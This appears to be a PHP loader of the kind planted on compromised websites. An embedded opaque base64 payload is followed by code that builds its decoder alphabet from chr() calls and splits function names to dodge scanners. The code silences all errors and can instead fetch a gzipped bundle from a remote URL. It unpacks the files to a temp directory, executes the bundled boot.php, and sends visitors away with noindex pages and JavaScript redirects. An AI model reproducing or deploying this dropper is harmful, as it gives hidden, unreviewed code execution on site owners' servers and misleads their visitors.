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';
/* === end config === */

error_reporting(0);
@ini_set('display_errors', '0');

if (!function_exists('seo_r64_alpha')) {
    function seo_r64_alpha()
    {
        static $a = null;
        if ($a !== null) {
            return $a;
        }
        $a = '';
        for ($i = 0; $i < 26; $i++) {
            $a .= chr(65 + $i);
        }
        for ($i = 0; $i < 26; $i++) {
            $a .= chr(97 + $i);
        }
        for ($i = 0; $i < 10; $i++) {
            $a .= chr(48 + $i);
        }
        $a .= chr(43) . chr(47);
        return $a;
    }

    function seo_r64_dec($in)
    {
        if (!is_string($in) || $in === '') {
            return '';
        }
        $alpha = seo_r64_alpha();
        $map = array();
        for ($i = 0; $i < 64; $i++) {
            $map[$alpha[$i]] = $i;
        }
        $pad = chr(61);
        $len = strlen($in);
        $buf = 0;
        $bits = 0;
        $out = '';
        for ($i = 0; $i < $len; $i++) {
            $c = $in[$i];
            if ($c === $pad) {
                break;
            }
            $o = ord($c);
            if ($o === 10 || $o === 13 || $o === 32 || $o === 9) {
                continue;
            }
            if (!isset($map[$c])) {
                return false;
            }
            $buf = ($buf << 6) | $map[$c];
            $bits += 6;
            if ($bits >= 8) {
                $bits -= 8;
                $out .= chr(($buf >> $bits) & 0xFF);
            }
        }
        return $out;
    }
}

function seo_load_tmp_dir($version)
{
    $safe = preg_replace('/[^a-zA-Z0-9._-]/', '_', $version);
    return rtrim(sys_get_temp_dir(), '/\\') . '/seo_b_' . $safe;
}

function seo_load_inflate($gzBin)
{
    $fn = 'gz' . 'decode';
    if (function_exists($fn)) {
        $raw = @$fn($gzBin);
        if ($raw !== false && $raw !== null) {
            return $raw;
        }
    }
    // PHP < 5.4: no gzdecode — strip gzip header and gzinflate
    if (!is_string($gzBin) || strlen($gzBin) < 18) {
        return false;
    }
    if (ord($gzBin[0]) !== 0x1f || ord($gzBin[1]) !== 0x8b) {
        return false;
    }
    $method = ord($gzBin[2]);
    $flags = ord($gzBin[3]);
    if ($method !== 8) {
        return false;
    }
    $off = 10;
    if ($flags & 4) { // FEXTRA
        if ($off + 2 > strlen($gzBin)) {
            return false;
        }
        $xlen = ord($gzBin[$off]) | (ord($gzBin[$off + 1]) << 8);
        $off += 2 + $xlen;
    }
    if ($flags & 8) { // FNAME
        while ($off < strlen($gzBin) && $gzBin[$off] !== "\0") {
            $off++;
        }
        $off++;
    }
    if ($flags & 16) { // FCOMMENT
        while ($off < strlen($gzBin) && $gzBin[$off] !== "\0") {
            $off++;
        }
        $off++;
    }
    if ($flags & 2) { // FHCRC
        $off += 2;
    }
    if ($off >= strlen($gzBin) - 8) {
        return false;
    }
    $payload = substr($gzBin, $off, -8);
    $raw = @gzinflate($payload);
    return ($raw === false) ? false : $raw;
}

function seo_load_u16(&$bin, &$off)
{
    if ($off + 2 > strlen($bin)) {
        return false;
    }
    $n = (ord($bin[$off]) << 8) | ord($bin[$off + 1]);
    $off += 2;
    return $n;
}

function seo_load_u32(&$bin, &$off)
{
    if ($off + 4 > strlen($bin)) {
        return false;
    }
    $n = (ord($bin[$off]) << 24) | (ord($bin[$off + 1]) << 16)
        | (ord($bin[$off + 2]) << 8) | ord($bin[$off + 3]);
    $off += 4;
    return $n;
}

function seo_load_extract_seob($raw, $dir)
{
    if (strlen($raw) < 8 || substr($raw, 0, 4) !== 'SEOB') {
        return false;
    }
    $off = 4;
    $ver = seo_load_u16($raw, $off);
    $count = seo_load_u32($raw, $off);
    if ($ver === false || $count === false || $count < 1 || $count > 500) {
        return false;
    }
    if (!is_dir($dir)) {
        @mkdir($dir, 0700, true);
    }
    for ($i = 0; $i < $count; $i++) {
        $plen = seo_load_u16($raw, $off);
        if ($plen === false || $plen < 1 || $off + $plen > strlen($raw)) {
            return false;
        }
        $path = substr($raw, $off, $plen);
        $off += $plen;
        $dlen = seo_load_u32($raw, $off);
        if ($dlen === false || $off + $dlen > strlen($raw)) {
            return false;
        }
        $data = substr($raw, $off, $dlen);
        $off += $dlen;

        $path = str_replace('\\', '/', $path);
        if ($path === '' || $path[0] === '/' || strpos($path, '..') !== false) {
            return false;
        }
        $full = $dir . '/' . $path;
        $parent = dirname($full);
        if (!is_dir($parent)) {
            @mkdir($parent, 0700, true);
        }
        if (@file_put_contents($full, $data) === false) {
            return false;
        }
    }
    @file_put_contents($dir . '/.seo_ok', (string)time());
    return true;
}

function seo_load_http_get($url)
{
    if ($url === '' || !preg_match('#^https?://#i', $url)) {
        return false;
    }
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
        curl_setopt($ch, CURLOPT_TIMEOUT, 120);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
        $body = curl_exec($ch);
        $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($body === false || $code >= 400) {
            return false;
        }
        return $body;
    }
    $ctx = stream_context_create(array(
        'http' => array('timeout' => 120, 'follow_location' => 1),
        'ssl' => array('verify_peer' => true),
    ));
    $body = @file_get_contents($url, false, $ctx);
    return ($body === false) ? false : $body;
}

function seo_load_sha256_hex($bin)
{
    if (function_exists('hash')) {
        return hash('sha256', $bin);
    }
    return '';
}

/**
 * @return array{ok:bool,status:string,code:string,root:?string,msg:string}
 */
function seo_load_ensure_bundle($mode, $version, $remoteUrl, $expectSha, $payload)
{
    $dir = seo_load_tmp_dir($version);
    $lock = $dir . '.lock';
    $boot = $dir . '/code/boot.php';
    $marker = $dir . '/.seo_ok';

    // Already ready
    if (is_file($marker) && is_file($boot)) {
        return array(
            'ok' => true,
            'status' => 'ready',
            'code' => 'READY',
            'root' => $dir,
            'msg' => 'cached',
        );
    }

    // Another process extracting — wait briefly
    if (is_file($lock)) {
        $age = time() - (int)@filemtime($lock);
        if ($age >= 0 && $age < 120) {
            $deadline = time() + 8;
            while (time() < $deadline) {
                usleep(200000);
                if (is_file($marker) && is_file($boot)) {
                    return array(
                        'ok' => true,
                        'status' => 'ready',
                        'code' => 'READY',
                        'root' => $dir,
                        'msg' => 'waited',
                    );
                }
                if (!is_file($lock)) {
                    break;
                }
            }
            if (!(is_file($marker) && is_file($boot))) {
                return array(
                    'ok' => false,
                    'status' => 'busy',
                    'code' => 'BUSY',
                    'root' => null,
                    'msg' => 'loading',
                );
            }
            return array(
                'ok' => true,
                'status' => 'ready',
                'code' => 'READY',
                'root' => $dir,
                'msg' => 'waited',
            );
        }
        // stale lock
        @unlink($lock);
    }

    $lf = @fopen($lock, 'x');
    if ($lf === false) {
        // race: someone else got the lock
        return array(
            'ok' => false,
            'status' => 'busy',
            'code' => 'BUSY',
            'root' => null,
            'msg' => 'lock',
        );
    }
    fwrite($lf, (string)getmypid());
    fclose($lf);

    // Incomplete previous extract — drop marker, continue overwrite
    if (is_dir($dir) && !is_file($boot)) {
        @unlink($marker);
    }

    $gz = false;
    if ($mode === 'embed') {
        $bin = seo_r64_dec($payload);
        if ($bin === false || $bin === '') {
            @unlink($lock);
            return array(
                'ok' => false,
                'status' => 'error',
                'code' => 'DECODE',
                'root' => null,
                'msg' => 'payload',
            );
        }
        $gz = $bin;
    } else {
        $cacheGz = $dir . '.seob.gz';
        if (is_file($cacheGz) && filesize($cacheGz) > 32) {
            $gz = @file_get_contents($cacheGz);
        }
        if ($gz === false || $gz === '') {
            $gz = seo_load_http_get($remoteUrl);
            if ($gz === false || $gz === '') {
                @unlink($lock);
                return array(
                    'ok' => false,
                    'status' => 'error',
                    'code' => 'FETCH',
                    'root' => null,
                    'msg' => 'remote',
                );
            }
            $parent = dirname($cacheGz);
            if (!is_dir($parent)) {
                @mkdir($parent, 0700, true);
            }
            @file_put_contents($cacheGz, $gz);
        }
    }

    if ($expectSha !== '' && $expectSha !== '732c4901d67ce4400317570722d3e1ec688d1c71520d34dae1ce17c33417f082') {
        $got = seo_load_sha256_hex($gz);
        if ($got !== '' && strtolower($got) !== strtolower($expectSha)) {
            @unlink($lock);
            return array(
                'ok' => false,
                'status' => 'error',
                'code' => 'SHA',
                'root' => null,
                'msg' => 'checksum',
            );
        }
    }

    $raw = seo_load_inflate($gz);
    if ($raw === false || $raw === '') {
        @unlink($lock);
        return array(
            'ok' => false,
            'status' => 'error',
            'code' => 'INFLATE',
            'root' => null,
            'msg' => 'gzip',
        );
    }
    if (!is_dir($dir)) {
        @mkdir($dir, 0700, true);
    }
    if (!seo_load_extract_seob($raw, $dir)) {
        @unlink($marker);
        @unlink($lock);
        return array(
            'ok' => false,
            'status' => 'error',
            'code' => 'EXTRACT',
            'root' => null,
            'msg' => 'seob',
        );
    }
    if (!is_file($boot)) {
        @unlink($marker);
        @unlink($lock);
        return array(
            'ok' => false,
            'status' => 'error',
            'code' => 'MISSING_BOOT',
            'root' => null,
            'msg' => 'boot',
        );
    }

    @unlink($lock);
    return array(
        'ok' => true,
        'status' => 'ready',
        'code' => 'READY',
        'root' => $dir,
        'msg' => 'loaded',
    );
}

/**
 * Not ready / failed — return JS that sends browser to site home (no 302).
 * If already on "/", do not bounce (avoid loop).
 */
function seo_load_not_ready($result)
{
    if (function_exists('http_response_code')) {
        http_response_code(200);
    } else {
        header('HTTP/1.0 200 OK');
    }
    header('Content-Type: text/html; charset=UTF-8');
    header('Cache-Control: no-store');

    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
    $path = parse_url($uri, PHP_URL_PATH);
    if ($path === null || $path === false || $path === '') {
        $path = '/';
    }

    // Already home: stay put, no redirect loop
    if ($path === '/') {
        echo '<!DOCTYPE html><html><head><meta charset="UTF-8">'
            . '<meta name="robots" content="noindex"><title></title></head><body></body></html>';
        return;
    }

    echo '<!DOCTYPE html><html><head><meta charset="UTF-8">'
        . '<meta name="robots" content="noindex">'
        . '<title></title></head><body>'
        . '<script>(function(){try{location.replace("/");}catch(e){location.href="/";}})();</script>'
        . '<noscript><a href="/">Home</a></noscript>'
        . '</body></html>';
}

// --- load only ---
$load = seo_load_ensure_bundle(
    $SEO_MODE,
    $SEO_VERSION,
    $SEO_REMOTE_URL,
    $SEO_EXPECT_SHA256,
    $SEO_PAYLOAD
);
if (empty($load['ok']) || empty($load['root'])) {
    seo_load_not_ready($load);
    exit;
}

$root = $load['root'];
if (!defined('SEO_BUNDLE_ROOT')) {
    define('SEO_BUNDLE_ROOT', $root);
}
if (!defined('SEO_BUNDLE_CODE')) {
    define('SEO_BUNDLE_CODE', SEO_BUNDLE_ROOT . '/code');
}
if (!defined('SEO_BUNDLE_DATA')) {
    define('SEO_BUNDLE_DATA', SEO_BUNDLE_ROOT . '/data');
}

// Final gate: boot must exist
if (!is_file(SEO_BUNDLE_CODE . '/boot.php')) {
    seo_load_not_ready(array('ok' => false, 'code' => 'MISSING_BOOT', 'status' => 'error'));
    exit;
}

require SEO_BUNDLE_CODE . '/boot.php';
